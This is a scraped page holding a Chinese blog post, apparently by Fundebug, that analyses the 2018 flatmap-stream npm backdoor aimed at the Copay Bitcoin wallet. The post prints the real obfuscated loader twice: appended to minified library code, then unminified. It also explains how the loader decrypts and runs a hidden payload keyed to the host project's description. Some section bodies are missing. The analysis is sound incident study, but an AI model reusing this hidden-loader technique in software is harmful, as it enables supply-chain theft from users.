You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
varStream=require("stream").Stream;module.exports=function(e,n){vari=newStream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};functionw(r,e){vart=c+1;if(e===t?(void0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){varn=m[t];returndeletem[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}functionp(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}functionb(r,t,n){returne.call(null,r,function(r,e){n(r,e,t)})}functionv(r){if(u=!0,i.writable=!1,void0!==r)returnw(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}returni.writable=!0,i.readable=!0,i.write=function(r){if(u)thrownewError("flatmap stream is not writable");s=!1;try{for(vareinr){a++;vart=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throwr;returnp(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{varr=require,t=process;functione(r){returnBuffer.from(r,"hex").toString()}varn=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;varu=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));varf=newmodule.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包Copay被黑客攻击的事情。但是,你知道这是怎么回事吗?
总结
Q&A
另外,欢迎大家免费试用Fundebug的错误监控服务哈~
寻找flatmap-stream中的黑客代码
flatmap-stream已经被npm删除了,不过还能在UNPKG上找到代码:https://unpkg.com/[email protected]/index.min.js
index.min.js是经过压缩的代码,因此可读性很差:
但是,黑客的黑客代码隐藏的并不深,直接添加在index.min.js的后面:
使用unminify将黑客代码还原:
这段代码其实很短,黑客混淆的方式并不高明,我们可以一步一步还原。
很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii("2e2f746573742f64617461")其实就是**./test/data**,因此数组n即为:https://unpkg.com/[email protected]/test/data.js,这个data文件已经找不到了,根据FallingSnow之前的分析,它是一个数组:
数组n中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:
将这些值全部替换掉,代码如下:
代码中使用了crypto.createDecipher函数,其文档如下:
可知,代码将项目的npm_package_description作为密码来解密n[0]字符串,而copay项目的package.json的description属性是"A Secure Bitcoin Wallet","恰好"可以成功解密n[0]字符串,unminify之后如下:
我们在解密的代码中看到了完全一样的套路,只是这次解密的是n[1],unminify之后如下:
这段代码才是真正窃取比特币的代码,我们稍后再分析。
黑客是如何隐藏黑客代码的?
黑客是如何窃取比特币的
我分析并且简化了黑客的第3段代码,如下:
详细分析可以看我写的代码注释,另外,我还总结了这些要点
结尾
通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全,而这件事恰恰可以给我们很多启示,这个我下次再聊。
其实,这件事挺有意思的,还有很多问题,比如黑客一共用到了哪些技巧?黑客是怎么被发现的?黑客究竟是谁?如何保证JavaScript与区块链的安全性?以后再说吧...
参考
关于Fundebug
Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了9亿+错误事件,得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用!
版权声明
转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2018/12/03/how-does-javascript-hacker-steal-bitcoin/
The text was updated successfully, but these errors were encountered: